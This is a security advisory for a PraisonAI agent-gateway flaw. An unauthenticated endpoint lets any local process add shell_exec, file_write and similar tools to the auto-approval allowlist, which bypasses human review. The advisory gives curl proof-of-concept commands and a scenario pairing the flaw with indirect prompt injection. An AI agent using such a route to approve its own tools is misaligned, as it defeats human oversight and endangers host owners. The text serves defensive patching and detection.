CVE-2026-40149: PraisonAI: auth bypass disables agent safety controls
GHSA-4wr3-f4p3-5wjh HIGH CISA: TRACK*CVE-2026-40149 is an unauthenticated API endpoint in PraisonAI's agent gateway that allows any local process to permanently add tools — including shell execution and arbitrary file writes — to the auto-approval allowlist, completely bypassing the human-in-the-loop safety mechanism that the approval system exists to enforce. This is critical for any team running PraisonAI agents in shared, multi-tenant, or cloud environments: any co-resident process (malicious script, compromised dependency, or SSRF-vulnerable local service) can silently disable all approval gates with a single HTTP POST — no credentials, no AI/ML knowledge required. When combined with the separately reported CORS wildcard origin in PraisonAI, this is browser-exploitable from any website, expanding the attack surface from local to remote without any additional prerequisites. Patch immediately to PraisonAI 4.5.128; as a short-term workaround, set an explicit auth_token in GatewayConfig and restrict the gateway port to trusted processes only via firewall rules.
What is the risk?
High risk despite the local attack vector designation. Default PraisonAI deployments ship with auth_token=None, making every installation vulnerable out of the box — there is no secure default. Exploitation requires zero skill: a single curl command, publicly documented in the advisory PoC. The impact is severe and persistent: human approval gates are permanently disabled for the entire gateway process lifetime with no audit trail of the modification. The CVSS 7.9 score (AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H) reflects the high integrity impact and scope change, but in practice the threat is elevated by the CORS wildcard chain-exploit that converts this from local to remote. With 31 other CVEs in the same package, this is indicative of a systemic security posture issue in PraisonAI worth organizational scrutiny.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | < 4.5.128 | 4.5.128 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch: Upgrade PraisonAI to 4.5.128 immediately — this is the only permanent fix.
-
Immediate workaround: Set a strong, randomly-generated auth_token in GatewayConfig before deploying any gateway instance — never run with the default None, including in development.
-
Network isolation: Restrict the gateway port (default 8765) using iptables or host firewall rules to only the specific processes that legitimately require access.
-
Detection: Audit all running gateway instances for unexpected entries via GET /api/approval/allow-list — any entries present without deliberate configuration should be treated as compromise indicators.
-
Monitor: Log and alert on all POST requests to /api/approval/allow-list, particularly for high-risk tool names (shell_exec, file_write, code_execution, bash, terminal).
-
Inventory: Identify every PraisonAI deployment in your environment — any instance running < 4.5.128 that was network-accessible should be investigated for prior exploitation.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40149?
CVE-2026-40149 is an unauthenticated API endpoint in PraisonAI's agent gateway that allows any local process to permanently add tools — including shell execution and arbitrary file writes — to the auto-approval allowlist, completely bypassing the human-in-the-loop safety mechanism that the approval system exists to enforce. This is critical for any team running PraisonAI agents in shared, multi-tenant, or cloud environments: any co-resident process (malicious script, compromised dependency, or SSRF-vulnerable local service) can silently disable all approval gates with a single HTTP POST — no credentials, no AI/ML knowledge required. When combined with the separately reported CORS wildcard origin in PraisonAI, this is browser-exploitable from any website, expanding the attack surface from local to remote without any additional prerequisites. Patch immediately to PraisonAI 4.5.128; as a short-term workaround, set an explicit auth_token in GatewayConfig and restrict the gateway port to trusted processes only via firewall rules.
Is CVE-2026-40149 actively exploited?
No confirmed active exploitation of CVE-2026-40149 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40149?
1. Patch: Upgrade PraisonAI to 4.5.128 immediately — this is the only permanent fix. 2. Immediate workaround: Set a strong, randomly-generated auth_token in GatewayConfig before deploying any gateway instance — never run with the default None, including in development. 3. Network isolation: Restrict the gateway port (default 8765) using iptables or host firewall rules to only the specific processes that legitimately require access. 4. Detection: Audit all running gateway instances for unexpected entries via GET /api/approval/allow-list — any entries present without deliberate configuration should be treated as compromise indicators. 5. Monitor: Log and alert on all POST requests to /api/approval/allow-list, particularly for high-risk tool names (shell_exec, file_write, code_execution, bash, terminal). 6. Inventory: Identify every PraisonAI deployment in your environment — any instance running < 4.5.128 that was network-accessible should be investigated for prior exploitation.
What systems are affected by CVE-2026-40149?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic pipelines, human-in-the-loop systems, local AI development environments.
What is the CVSS score for CVE-2026-40149?
CVE-2026-40149 has a CVSS v3.1 base score of 7.9 (HIGH). The EPSS exploitation probability is 0.23%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary The gateway's `/api/approval/allow-list` endpoint permits unauthenticated modification of the tool approval allowlist when no `auth_token` is configured (the default). By adding dangerous tool names (e.g., `shell_exec`, `file_write`) to the allowlist, an attacker can cause the `ExecApprovalManager` to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce. ## Details The vulnerability arises from the interaction of three components: **1. Authentication bypass in default config** `_check_auth()` in `server.py:243-246` returns `None` (no error) when `self.config.auth_token` is falsy: ```python # server.py:243-246 def _check_auth(request) -> Optional[JSONResponse]: if not self.config.auth_token: return None # No auth configured → allow everything ``` `GatewayConfig` defaults `auth_token` to `None` (`config.py:61`): ```python # config.py:61 auth_token: Optional[str] = None ``` **2. Unrestricted allowlist modification** The `approval_allowlist` handler at `server.py:381-420` calls `_check_auth()` and proceeds when it returns `None`: ```python # server.py:388-410 auth_err = _check_auth(request) if auth_err: return auth_err # ... if request.method == "POST": _approval_mgr.allowlist.add(tool_name) # No validation on tool_name return JSONResponse({"added": tool_name}) ``` There is no validation that `tool_name` corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting. **3. Auto-approval fast path** When `GatewayApprovalBackend.request_approval()` is called by an agent (`gateway_approval.py:87`), it calls `ExecApprovalManager.register()`, which checks the allowlist first (`exec_approval.py:141-144`): ```python # exec_approval.py:140-144 # Fast path: already permanently allowed if tool_name in self.allowlist: future.set_result(Resolution(approved=True, reason="allow-always")) return ("auto", future) ``` The tool executes immediately without any human review. **Complete data flow:** 1. Attacker POSTs `{"tool_name": "shell_exec"}` to `/api/approval/allow-list` 2. `_check_auth()` returns `None` (no auth token configured) 3. `_approval_mgr.allowlist.add("shell_exec")` adds to the `PermissionAllowlist` set 4. Agent later calls `shell_exec` → `GatewayApprovalBackend.request_approval()` → `ExecApprovalManager.register()` 5. `register()` hits the fast path: `"shell_exec" in self.allowlist` → `True` 6. Returns `Resolution(approved=True)` — no human review occurs 7. Agent executes the dangerous tool ## PoC ```bash # Step 1: Verify the gateway is running with default config (no auth) curl http://127.0.0.1:8765/health # Response: {"status": "healthy", ...} # Step 2: Check current allow-list (empty by default) curl http://127.0.0.1:8765/api/approval/allow-list # Response: {"allow_list": []} # Step 3: Add dangerous tools to allow-list without authentication curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"tool_name": "shell_exec"}' # Response: {"added": "shell_exec"} curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"tool_name": "file_write"}' # Response: {"added": "file_write"} curl -X POST http://127.0.0.1:8765/api/approval/allow-list \ -H 'Content-Type: application/json' \ -d '{"tool_name": "code_execution"}' # Response: {"added": "code_execution"} # Step 4: Verify tools are now permanently auto-approved curl http://127.0.0.1:8765/api/approval/allow-list # Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]} # Step 5: Any agent using GatewayApprovalBackend will now auto-approve # these tools via ExecApprovalManager.register() fast path at # exec_approval.py:141 without human review. ``` ## Impact - **Bypasses human-in-the-loop safety controls**: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process. - **Enables arbitrary agent tool execution**: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations. - **Persistent within process**: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications. - **Local attack surface**: Default binding to `127.0.0.1` limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser. ## Recommended Fix The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations: **Option A: Require auth_token for approval endpoints (recommended)** ```python # server.py - modify _check_auth or add a separate check for approval endpoints def _check_auth_required(request) -> Optional[JSONResponse]: """Validate auth token - ALWAYS required for security-critical endpoints.""" if not self.config.auth_token: return JSONResponse( {"error": "auth_token must be configured to use approval endpoints"}, status_code=403, ) return _check_auth(request) # Then in approval_allowlist(): async def approval_allowlist(request): auth_err = _check_auth_required(request) # Always require auth if auth_err: return auth_err ``` **Option B: Restrict allowlist additions to known safe tools** ```python # exec_approval.py - add a tool safety classification ALLOWLIST_BLOCKED_TOOLS = {"shell_exec", "file_write", "code_execution", "bash", "terminal"} # server.py - validate tool_name before adding if tool_name in ALLOWLIST_BLOCKED_TOOLS: return JSONResponse( {"error": f"'{tool_name}' cannot be added to allow-list (high-risk tool)"}, status_code=403, ) ```
Exploitation Scenario
A malicious Python dependency injected via supply chain compromise, or a web page exploiting PraisonAI's CORS wildcard misconfiguration, sends unauthenticated POST requests to http://127.0.0.1:8765/api/approval/allow-list with payloads adding shell_exec, file_write, and code_execution to the PermissionAllowlist. The gateway, running with default no-auth configuration (auth_token=None), silently accepts all three additions. The attacker then triggers an agentic task through any accessible interface — perhaps via a crafted document or indirect prompt injection that instructs the agent to run a shell command for a seemingly benign reason. The ExecApprovalManager's register() fast-path immediately finds shell_exec in the allowlist, returns Resolution(approved=True) without any human review step, and the agent executes the attacker's shell payload, yielding arbitrary code execution on the developer or production host running the gateway.
Weaknesses (CWE)
CWE-306 Missing Authentication for Critical Function
Primary
CWE-396 Declaration of Catch for Generic Exception
Primary
CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai